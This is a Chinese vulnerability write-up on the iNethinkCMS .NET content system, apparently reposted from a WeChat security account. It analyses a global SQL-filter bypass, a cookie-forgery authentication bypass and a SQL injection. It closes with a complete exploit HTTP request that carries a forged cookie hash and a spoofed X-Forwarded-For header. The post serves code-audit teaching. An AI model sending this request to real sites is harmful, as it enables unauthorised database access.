基于ASPX.NET的某CMS漏洞分析

admin 2024年11月7日14:32:47评论8 views字数 5700阅读19分0秒阅读模式

0x00:前言

基于ASPX.NET的某CMS漏洞分析

之前在@Ivan1ee師傅的群里有师父再问有没有人研究过这个CMS,当时去官网下了源码初略看了一下没有发现啥问题,就搁置了一段时间,刚好最近有空就继续拿出来看看。 iNethinkCMS基于.NET4.0 C#分层开发,是一款精致小巧、开源、免费的CMS网站管理系统。创新的模板引擎(类标签式)、插件扩展技术,可以适应各类的网站开发需要。直接从官网可以下载到相关代码

0x01:分析代码

分析aspx.net代码我喜欢从Global.asax文件开始,Global一般会实现一些全局方法。

基于ASPX.NET的某CMS漏洞分析

根据Inherits属性找到继承的类,在bin目录下即可找到对应的文件,这里我们使用Dnspy进行反编译以及调试工作。

Dnspy下载地址:

https://github.com/dnSpy/dnSpy

注意,使用Dnspy调试请选择对应的版本,我这里因为虚拟机是32位的就下载32位的版本,要不然找不到对应IIS进程

基于ASPX.NET的某CMS漏洞分析

我们先看看Application_BeginReques

Application_BeginRequest 是 ASP.NET 中的一个事件,它在处理每个请求之前被触发。当一个请求到达服务器时,ASP.NET引擎会触发Application_BeginRequest 事件,然后开始处理请求。

对于Global.asax中的一些特有方法大家可以参考我以前文章中的介绍

https://www.anquanke.com/post/id/195226

第一个if先判断URL中是否包含error.aspx,给了我们第一个利用点。如果后续存在全局的SQL注入检测可以利用此逻辑绕过检测。

if (base.Request.Url.ToString().IndexOf("error.aspx") >= 0){    return;}

下面就是一些网站状态判断,以及IP黑名单判断。最后实现了SQL注入的全局检测,通过判断请求方法进入不同的处理逻辑

基于ASPX.NET的某CMS漏洞分析

基于ASPX.NET的某CMS漏洞分析

过滤了GET、POST、Cookie、referer参数,从全局进行了SQL注入的过滤。当然由于前面存在一个逻辑,我们只需要在URL中带上error.aspx即可绕过

0x02:残废的SQL注入漏洞

全局搜了一下base.Request.QueryString,来到了iNethinkCMS.Web.inc.ajax,实际对应inc/ajax.aspx。跟进到Page_Load方法,Page_Load 是 ASP.NET Web Forms 页面生命周期中的一个事件,它在页面加载时被触发。当客户端请求一个 Web Forms 页面时,ASP.NET 引擎会自动创建页面对象并触发 Page_Load 事件。在里边看到这样一段代码

基于ASPX.NET的某CMS漏洞分析

在这里,text12来自base.Request.QueryString["Title"],text12被拼接到SQL语句中去,跟进this.bll_content.GetRecordCoun看看是不是执行SQL语句

基于ASPX.NET的某CMS漏洞分析

基于ASPX.NET的某CMS漏洞分析

跟进SQLHelper.GetSingle

基于ASPX.NET的某CMS漏洞分析

使用sqlConnection完成SQL查询并返回单个值,那我们确定这里存在一个SQL注入漏洞,我们返回ajax,寻找是否存在前置条件

基于ASPX.NET的某CMS漏洞分析

需满足 versionsMode 的值等于 "checktitle",继续往上看

基于ASPX.NET的某CMS漏洞分析

只有一个全局的base.CheckUserPower("login");,从字面上来看应该是登录身份校验,跟进看看

0x03:苛刻的绕过鉴权

我们跟进到CheckUserPower方法,单独拎出来写一章节的原因是这里鉴权存在一个苛刻的绕过条件。虽然苛刻但是也能绕过

基于ASPX.NET的某CMS漏洞分析

先判断

if(string.IsNullOrEmpty(Command_Session.Get("admin_username")))

这一段用来检查会话中是否存在名为 "admin_username" 的变量,并判断该变量的值是否为空。如果变量的值为空,那么条件为真,可以执行相应的操作或逻辑。否则,如果变量的值不为空,条件为假,可以执行不同的操作或逻辑。

随后用Command_Cookie.GetCookie从cookie中取了两值,cookie_admin_username和cookie_admin_password

BLL_iNethinkCMS_User bll_iNethinkCMS_User = new BLL_iNethinkCMS_User();Model_iNethinkCMS_User model_iNethinkCMS_User = new Model_iNethinkCMS_User();model_iNethinkCMS_User = bll_iNethinkCMS_User.GetModel(text);if (model_iNethinkCMS_User != null && Command_MD5.md5(this.siteConfig.CacheKey + Command_Function.GetUserIp() + model_iNethinkCMS_User.SecurityCode) == text2)

关键在这一段,使用bll_iNethinkCMS_User.GetMode方法查询用户信息

基于ASPX.NET的某CMS漏洞分析

然后

if (model_iNethinkCMS_User != null && Command_MD5.md5(this.siteConfig.CacheKey + Command_Function.GetUserIp() + model_iNethinkCMS_User.SecurityCode) == text2)

看这个条件,先是判断用户是否存在,然后判断

Command_MD5.md5(this.siteConfig.CacheKey + Command_Function.GetUserIp() + model_iNethinkCMS_User.SecurityCode)

是否等于text2,我们逐个拆解

this.siteConfig.CacheKey:从配置文件sys.config中读出来,值为"CacheKey"

基于ASPX.NET的某CMS漏洞分析

Command_Function.GetUserIp() :如果前端存在X-Forwarded-For就从前端取,那么我们可控。

基于ASPX.NET的某CMS漏洞分析

model_iNethinkCMS_User.SecurityCode:从数据中查出来,用户表中的字段。

基于ASPX.NET的某CMS漏洞分析

似乎看到这里没有什么办法绕,三个参数中只有SecurityCode是不确定的,无法控制。寻找一下SecurityCode是如何生成的,是否可以计算预测

基于ASPX.NET的某CMS漏洞分析

全局搜了一下,只有在用户每次登录后会生成一个SecurityCode并更新到数据库,每次登录更新一次。text值由随机值+用户名生成,跟进RandomCode看看如何生成随机值的。

基于ASPX.NET的某CMS漏洞分析

大概粗略的看了下這個隨機算法,穷举预测的概率很低,搞台量子计算机还有点希望。这里进入了死胡同,似乎无解了。突然脑壳抽风想一下当网站初始化的时候,也就是安装时会不会初始化一个值给SecurityCode的呢

基于ASPX.NET的某CMS漏洞分析

看了下install页面并沒有相关处理逻辑,只有去读install/mssqldb.file的内容并在数据库执行的逻辑,看了下是官方给的安装SQL文件

INSERT [dbo].[iNethinkCMS_User] ([UserGuid],], [UserPowe [UserType], [UserName], [UserPass], [UserTrueName], [UserEmailr], [UserChannelPower], [UserRegTime], [SecurityCode]) VALUES ( N'7d4eef6c-c8cb-4049-841d-4769d22b5e36', 1, N'admin', N'96e79218965eb72c92a549dd5a330112', N'iNethinkCMS', N'[email protected]', N'a,a1,a2,a3,a4,b,b1,b2,c,c1,c2,c3,d,d1,d2,f,f1,f2,f3,f4,f5,e,e1,e2,e3,e4,e5,e6,e7', N'0', GETDATE(), N'')

在网站初始化创建好后,系统并没有赋予给SecurityCode一个值,只有当用户第一次登陆后才会赋一个值给SecurityCode,那么我们前面讲到

Command_MD5.md5(this.siteConfig.CacheKey + Command_Function.GetUserIp() + model_iNethinkCMS_User.SecurityCode)

这个逻辑,我们已知

this.siteConfig.CacheKey默认为CacheKey,

Command_Function.GetUserIp()我们可控,可随意指定,

model_iNethinkCMS_User.SecurityCode如果用户从未登录过系统则也为空,那么我们就可以满足这个逻辑从而进入下一步。这就是我说的苛刻的条件,需要一个系统用户从未登陆过后台,不一定是Admin用户,只要在user表中,且从未登陆过的用户都可以

为了验证这个猜想,我在后台新建了一个用户,不用赋予任何权限。默认即可

基于ASPX.NET的某CMS漏洞分析

可以看到在用户从未登录的情况下,SecurityCode的值是为空的。

基于ASPX.NET的某CMS漏洞分析

这个猜想得到验证后我们回到 CheckUserPower(string byUserPower)这个函数的实现过程中,继续看。可以看到当我们满足条件后就会赋予session相应的值。在37行会默认添加一个login,字符给SysLoginUserPower。让我们把思绪带回0x01中的SQL注入那一节,代码开头有一个base.CheckUserPower("login"),那么这里在37行就会默认赋予一个login。成功满足条件。造成SQL注入,让一个登录后的SQL注入,变成一个条件苛刻的登录前SQL注入

基于ASPX.NET的某CMS漏洞分析

根据

Command_MD5.md5(this.siteConfig.CacheKey + Command_Function.GetUserIp() + model_iNethinkCMS_User.SecurityCode)

我们构造参数即可,

this.siteConfig.CacheKey默认为"CacheKey",

Command_Function.GetUserIp()可控,从前端取,我们设置X-Forwarded-For:127.0.0.1 即可。

所以我们最终构造出

cookie_admin_password=md5(CacheKey127.0.0.1)即可,

那么则为8f334b5d7fb04b8345bb32cffd7d0b8a

基于ASPX.NET的某CMS漏洞分析

最终这个认证的绕过方法为:

GET /inc/ajax.aspx?Act=checktitle&Title=1'and%201=@@version--&&a=error.aspx HTTP/1.1Host: 192.168.111.130User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2X-Forwarded-For:127.0.0.1Cookie: cookie_admin_username=test; cookie_admin_password=8f334b5d7fb04b8345bb32cffd7d0b8a;Accept-Encoding: gzip, deflateReferer: http://192.168.111.130/Connection: closeUpgrade-Insecure-Requests: 1sec-ch-ua-platform: "Windows"sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0Pragma: no-cacheCache-Control: no-cache

首先我们需要在URL中添加一个&a=error.aspx,这个是为了绕过全局的SQL注入拦截。具体原理前面有讲过,然后cookie_admin_username要设置为一个从未登陆过的用户的用户名,cookie_admin_password设置为8f334b5d7fb04b8345bb32cffd7d0b8a,X-Forwarded-For设置为127.0.0.1。当然其他值也可以,只要计算出对应的cookie_admin_password即可。

最终在未登录的情况下触发SQL注入。

基于ASPX.NET的某CMS漏洞分析

0x04:其他

这套CMS在登录的情况下可以利用的点还是挺多的,就不过多分析了。顺便在讲讲这种场景下如何使用dnspy+iis进行调试

这里我使用的是iis10+dnspy 32位。

当我们搭建好系统后,数据库以及IIS都已经配置好了,网站也能正常访问后 使用管理员身份打开Dnspy

基于ASPX.NET的某CMS漏洞分析

选择调试功能,附加到进程

基于ASPX.NET的某CMS漏洞分析

找到w3wp.exe 找不到就刷新几次,要不然就是版本不对。

基于ASPX.NET的某CMS漏洞分析

找到下面的模块,选中你要调试的dll,然后右键点击转到模块

基于ASPX.NET的某CMS漏洞分析

然后找到对应的代码逻辑打上断点即可

基于ASPX.NET的某CMS漏洞分析

然后访问触发对应的页面即可进入断点

基于ASPX.NET的某CMS漏洞分析

在数据库是sql server的场景下,在做代码审计时想看具体的SQL日志也是很方便,使用Mssql自带的SQL Server Profiler即可。

新建一个跟踪

基于ASPX.NET的某CMS漏洞分析

随后查看对应的SQL日志即可

基于ASPX.NET的某CMS漏洞分析

原文始发于微信公众号(攻队):基于ASPX.NET的某CMS漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月7日14:32:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于ASPX.NET的某CMS漏洞分析https://cn-sec.com/archives/1946880.html

发表评论

匿名网友 填写信息